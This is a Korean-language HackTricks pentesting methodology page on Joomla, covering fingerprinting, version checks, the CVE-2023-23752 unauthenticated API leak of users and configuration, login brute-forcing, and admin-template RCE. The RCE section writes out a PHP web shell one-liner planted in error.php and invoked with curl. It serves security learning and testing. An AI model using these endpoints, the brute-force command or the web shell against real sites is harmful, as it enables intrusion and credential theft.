Joomla

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Joomla ํ†ต๊ณ„

Joomla๋Š” Joomla ์„ค์น˜์—์„œ ์‚ฌ์šฉ ์ค‘์ธ Joomla, PHP ๋ฐ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ฒ„์ „๊ณผ ์„œ๋ฒ„ ์šด์˜ ์ฒด์ œ์˜ ๋ถ„๋ฅ˜์™€ ๊ฐ™์€ ์ต๋ช…์˜ ์‚ฌ์šฉ ํ†ต๊ณ„๋ฅผ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐ์ดํ„ฐ๋Š” ๊ทธ๋“ค์˜ ๊ณต๊ฐœ API๋ฅผ ํ†ตํ•ด ์ฟผ๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeration

Discovery/Footprinting

  • ๋ฉ”ํƒ€ ํ™•์ธ
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Version

  • /administrator/manifests/files/joomla.xml์—์„œ ๋ฒ„์ „์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • /language/en-GB/en-GB.xml์—์„œ Joomla์˜ ๋ฒ„์ „์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • plugins/system/cache/cache.xml์—์„œ ๋Œ€๋žต์ ์ธ ๋ฒ„์ „์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Automatic

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Methodology๋Š” Joomla๋ฅผ ์Šค์บ”ํ•  ์ˆ˜ ์žˆ๋Š” CMS ์Šค์บ๋„ˆ์— ๋Œ€ํ•œ ์„น์…˜์ž…๋‹ˆ๋‹ค.

API ์ธ์ฆ๋˜์ง€ ์•Š์€ ์ •๋ณด ์œ ์ถœ:

๋ฒ„์ „ 4.0.0์—์„œ 4.2.7๊นŒ์ง€๋Š” ์ธ์ฆ๋˜์ง€ ์•Š์€ ์ •๋ณด ์œ ์ถœ(CVE-2023-23752)์— ์ทจ์•ฝํ•˜์—ฌ ์ž๊ฒฉ ์ฆ๋ช… ๋ฐ ๊ธฐํƒ€ ์ •๋ณด๋ฅผ ๋คํ”„ํ•ฉ๋‹ˆ๋‹ค.

  • ์‚ฌ์šฉ์ž: http://<host>/api/v1/users?public=true
  • ๊ตฌ์„ฑ ํŒŒ์ผ: http://<host>/api/index.php/v1/config/application?public=true

MSF ๋ชจ๋“ˆ: scanner/http/joomla_api_improper_access_checks ๋˜๋Š” ๋ฃจ๋น„ ์Šคํฌ๋ฆฝํŠธ: 51334

๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…

์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋กœ๊ทธ์ธ์— ๋Œ€ํ•œ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

๋งŒ์•ฝ ๊ด€๋ฆฌ์ž ์ž๊ฒฉ ์ฆ๋ช…์„ ์–ป์—ˆ๋‹ค๋ฉด, PHP ์ฝ”๋“œ ์กฐ๊ฐ์„ ์ถ”๊ฐ€ํ•˜์—ฌ RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ํ…œํ”Œ๋ฆฟ์„ ์ปค์Šคํ„ฐ๋งˆ์ด์ฆˆํ•˜์—ฌ ์ด๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  1. Configuration ์•„๋ž˜์˜ **Templates**๋ฅผ ํด๋ฆญํ•˜์—ฌ ํ…œํ”Œ๋ฆฟ ๋ฉ”๋‰ด๋ฅผ ๋ถˆ๋Ÿฌ์˜ต๋‹ˆ๋‹ค.
  2. ํ…œํ”Œ๋ฆฟ ์ด๋ฆ„์„ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค. Template ์—ด ํ—ค๋” ์•„๋ž˜์˜ **protostar**๋ฅผ ์„ ํƒํ•ฉ์‹œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด Templates: Customise ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.
  3. ๋งˆ์ง€๋ง‰์œผ๋กœ, ํŽ˜์ด์ง€๋ฅผ ํด๋ฆญํ•˜์—ฌ ํŽ˜์ด์ง€ ์†Œ์Šค๋ฅผ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. error.php ํŽ˜์ด์ง€๋ฅผ ์„ ํƒํ•ฉ์‹œ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ฝ”๋“œ ์‹คํ–‰์„ ์œ„ํ•œ PHP ์›๋ผ์ด๋„ˆ๋ฅผ ์ถ”๊ฐ€ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค:
  4. system($_GET['cmd']);
  5. ์ €์žฅ ๋ฐ ๋‹ซ๊ธฐ
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

From XSS to RCE

  • JoomSploit: Joomla ์ทจ์•ฝ์  ์•…์šฉ ์Šคํฌ๋ฆฝํŠธ๋กœ XSS๋ฅผ RCE ๋˜๋Š” ๊ธฐํƒ€ ์น˜๋ช…์ ์ธ ์ทจ์•ฝ์ ์œผ๋กœ ์ƒ์Šน์‹œํ‚ต๋‹ˆ๋‹ค. ๋” ๋งŽ์€ ์ •๋ณด๋Š” ์ด ๊ฒŒ์‹œ๋ฌผ์„ ํ™•์ธํ•˜์„ธ์š”. ์ด๋Š” Joomla ๋ฒ„์ „ 5.X.X, 4.X.X, ๋ฐ 3.X.X์— ๋Œ€ํ•œ ์ง€์›์„ ์ œ๊ณตํ•˜๋ฉฐ, ๋‹ค์Œ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค:
  • ๊ถŒํ•œ ์ƒ์Šน: Joomla์— ์‚ฌ์šฉ์ž๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • (RCE) ๋‚ด์žฅ ํ…œํ”Œ๋ฆฟ ํŽธ์ง‘: Joomla์˜ ๋‚ด์žฅ ํ…œํ”Œ๋ฆฟ์„ ํŽธ์ง‘ํ•ฉ๋‹ˆ๋‹ค.
  • (์ปค์Šคํ…€) ์‚ฌ์šฉ์ž ์ •์˜ ์ต์Šคํ”Œ๋กœ์ž‡: ์„œ๋“œํŒŒํ‹ฐ Joomla ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์œ„ํ•œ ์‚ฌ์šฉ์ž ์ •์˜ ์ต์Šคํ”Œ๋กœ์ž‡์ž…๋‹ˆ๋‹ค.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ